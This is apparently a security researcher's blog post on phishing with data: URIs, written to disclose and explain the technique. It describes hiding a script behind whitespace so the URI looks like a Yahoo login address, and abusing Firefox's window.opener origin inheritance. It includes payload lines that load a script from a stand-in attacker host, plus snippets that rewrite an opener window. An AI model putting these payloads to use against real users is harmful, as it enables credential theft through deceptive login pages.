Phishing with data: URIs is not a new idea. The concept is relatively simple, taking advantage of many user’s inexperience with how data: URIs function in order to trick them into entering credentials into a phishing page. We’ve seen this in the wild against Gmail users for example, and we’ve even seen some cool attacks against Chrome with really long data: URIs. This post will explore how we can craft a data: URI to trick even more experienced users.
Before we start, for those new to the concept, data: URIs function like so:
Basically, you can specify an entire file in the URI itself:
For example, if you right click this icon: you’ll see that the source of the image is a lengthy data URI:
It’s quite a versatile URI scheme.
Phishing With Data URIs
If you’re familiar with the data: URI format, it’s probably a fair assumption that you are either a developer or someone who is fairly knowledgable about the web in general. However, the same assumption couldn’t be made for most web users.
What would a casual web user say about the following URI? What website are they on?
The above URI looks to be https://login.yahoo.com/, but it’s actually just another data: URI (with https://login.yahoo.com/ just being some content). The full URI for the above is actually the following:
data:text/html,https://login.yahoo.com/[ LARGE AMOUNT OF SPACES ]<script src="//attacker.hack/opener/mask.js"></script>
The trick, of course, is the trailing <script> tag at the end of the URI (far out of site of the user) which will dynamically rewrite the page to mimic a phishing page. Chrome does have an ellipses indicating that the URI has more to it but it’s far from an obvious indicator of what’s actually going on.
For a better comparison, let’s view them side by side:
Upon close examination it doesn’t hold up very well, the user may notice something is amiss but they’ve been trained to inspect the “domain” portion, which appears to be correct.
For those unimpressed with the above phishing scheme, we can take it up a notch. In Firefox, for example, we can construct a page such as the following to phish unsuspecting users:
That looks quite a bit better doesn’t it? Let’s look at that a bit closer:
This data: URI is even more deceptive due to abuse of Firefox-specific functionality (read: probably a bug).
Unlike the previous URI phishing, the full above URI is just:
No spacing trickery involved, but how?
This is made possible due to Firefox’s unique behavior when changing a window.opener.location reference to a data: URI. Instead of nulling the origin, the data: URI inherits the origin of the site that modifies the window.opener.location reference. So if a site such as “http://attacker.com/” sets window.opener.location to a data: URI, the new origin for the window.opener will be “http://attacker.com/”.
The scenario is laid out like this:
1. User clicks on an “http://attacker.com/” link from a third party site “http://example.com/” and a new window/tab is opened.
window.opener.location = "data:,<script>alert(document.domain)</script>";
window.opener.document.body.innerHTML = "<h1>Modified DOM</h1>";
Best of all the data: URI remains unchanged! So we can start off with a data URI like “data:,//login.yahoo.com/” and later modify the HTML to mimic the actually Yahoo login page!
This style of origin inheritance for data: URIs is specific only to Firefox. Chrome blocks data: URIs from performing any operations on frames/window.opener references with a generic “SecurityError”.
Proof of Concept
To demonstrate this method of phishing I’ve constructed a proof of concept for both Chrome and Firefox, please note that the credentials entered into these pages aren’t ever collected (but don’t take my word for it!):